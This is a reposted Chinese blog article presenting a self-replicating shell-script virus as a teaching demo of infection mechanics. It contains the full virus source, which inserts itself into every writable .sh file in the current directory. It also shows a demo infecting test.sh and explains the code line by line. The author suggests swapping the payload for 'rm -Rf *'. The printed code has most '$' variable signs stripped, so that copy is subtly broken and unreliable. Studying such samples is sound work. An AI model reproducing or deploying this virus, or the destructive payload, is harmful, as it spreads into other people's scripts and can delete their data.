Linux操作系统下Shell病毒详细介绍

转载 2007年09月23日 02:17:00
原贴:http://blog.chinaunix.net/u/23204/showart_206258.html


 
Linux操作系统下Shell病毒详细介绍
 
 
 

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

SHELL病毒简介

1. 前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

2. 程序代码

#!/bin/sh 
#文件名: virus_demo.sh
#用途 : shell病毒演示。
#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写 : watercloud@xfocus.org
#日期 : 2003-5-13

#B:<+!a%C&t:>
vFile=_ ; vTmp=/tmp/.vTmp.
for f in ./*.sh; do
if [ ! -w f -a ! -r vFile ]; then continue; fi
if grep '<+!a%C&t:>' f ; then continue; fi
if sed -n '1p' f | grep 'csh'; then continue; fi
cp -f f vTmp ;if [ ? -ne 0 ];then continue; fi
vNo=`awk '0~/(^/b*#)|(^/b*)/&&v==NR-1{v++}END{print 0+v}' vTmp`
sed -n "1,{vNo}p" vTmp >f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' vFile ;echo ) >>f
vNo=`expr vNo + 1`
sed -n "{vNo},/p" vTmp >>f
rm -f vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>
#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件

3. 演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

[cloud@ /export/home/cloud/vir]> ls -l 
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

来看看我们这个"肉鸡"脚本,很简单:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

ls -l

#EOF

好了开始感染他。

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh 
Hi, here is a demo shell virus in your script !

来看看感染后的结果:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

#B:<+!a%C&t:>
vFile=_ ; vTmp=/tmp/.vTmp.
for f in ./*.sh; do
if [ ! -w f -a ! -r vFile ]; then continue; fi
if grep '<+!a%C&t:>' f ; then continue; fi
if sed -n '1p' f | grep 'csh'; then continue; fi
cp -f f vTmp ;if [ ? -ne 0 ];then continue; fi
vNo=`awk '0~/(^/b*#)|(^/b*)/&&v==NR-1{v++}END{print 0+v}' vTmp`
sed -n "1,{vNo}p" vTmp >f
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' vFile ;echo ) >>f
vNo=`expr vNo + 1`
sed -n "{vNo},/p" vTmp >>f
rm -f vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo

echo "Hi, here is a demo shell virus in your script !"
#E:<+!a%C&t:>

ls -l

#EOF

看,病毒体:

#B:<+!a%C&t:> 
. . . .
#E:<+!a%C&t:>

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处! 这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明, 你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

[cloud@ /export/home/cloud/vir]> ./test.sh 
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

 

4. 简单讲解

我们来一步步分析一下这个病毒: #B:<+!a%C&t:> 病毒体开始标记,用于程序复制自己定位用。 vFile=$_ ; vTmp=/tmp/.vTmp.$$ 定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们 必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ; then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^/b*#)|(^/b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。

sed -n "1,${vNo}p" $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。

vNo=`expr vNo + 1` 
sed -n "{vNo},/p" vTmp >>f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

rm -f $vTmp

清理一下临时文件。

done >/dev/null 2>&1

循环结束。

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用。

5. 后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒 破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面 也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得 花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上 应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是 教写病毒出去害人,切记切记!

 

Linux操作系统多线程同步Mutex详细介绍

1. 初始化:   在Linux下, 线程的互斥量数据类型是pthread_mutex_t. 在使用前, 要对它进行初始化:   对于静态分配的互斥量, 可以把它设置为PTHREAD_MUTEX_...

Linux操作系统中的文件目录结构详细介绍

Linux操作系统中的文件目录结构详细介绍  1. 目录结构及主要内容: 1)  “/”根目录部分有以下子目录:  /usr 目录包含所有的命令、程序库、文档和其它文件。这些文件在正常操作中不会被改变...
  • Augusdi
  • Augusdi
  • 2012年03月07日 11:22
  • 2178

Linux操作系统十五年病毒简史(转)

尽管相比Windows和Mac OS X,Linux很少受到病毒的侵扰,而且很多杀毒软件厂商也为Linux系统提供了免费的安全防护,比如ClamAV、AVG、Avast、F-Prot,Linux历史上...

详细介绍Linux shell脚本基础学习(一)

Linux shell脚本基础学习我们将分几讲来慢慢细说,希望能对想学习Linux shell脚本编程的初学者有一个明确的帮助,水平得到提高。 AD: Linux ...

linux shell awk 流程控制语句(if,for,while,do)详细介绍

在linux awk的 while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环...

详细介绍Linux shell脚本基础学习(四)

Linux shell脚本基础第四讲我们接着学习Linux shell脚本中的控制流程内容,这里主要介绍控制流程的loop和引号这两部分内容。 AD: 上一篇Lin...

详细介绍Linux shell脚本基础学习(二)

Linux shell脚本基础课程前面一讲介绍的都是语法基础的开头、注释、变量和 环境变量,这里将介绍shell命令和控制流程的第一部分,在shell脚本中可以使用三类命令,而控制流程就放在下一讲吧。...

Linux shell awk 流程控制语句(if,for,while,do)详细介绍

转载http://www.cnblogs.com/chengmo/archive/2010/10/04/1842073.html 在linux awk的 while、do-while和for...
  • xlh1991
  • xlh1991
  • 2014年11月25日 00:17
  • 389

详细介绍Linux shell脚本基础学习(五)

Linux shell脚本基础前面我们在介绍Linux shell脚本的控制流程时,还有一部分内容没讲就是有关here document的内容这里继续。 AD: L...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Linux操作系统下Shell病毒详细介绍
举报原因:
原因补充:

(最多只允许输入30个字)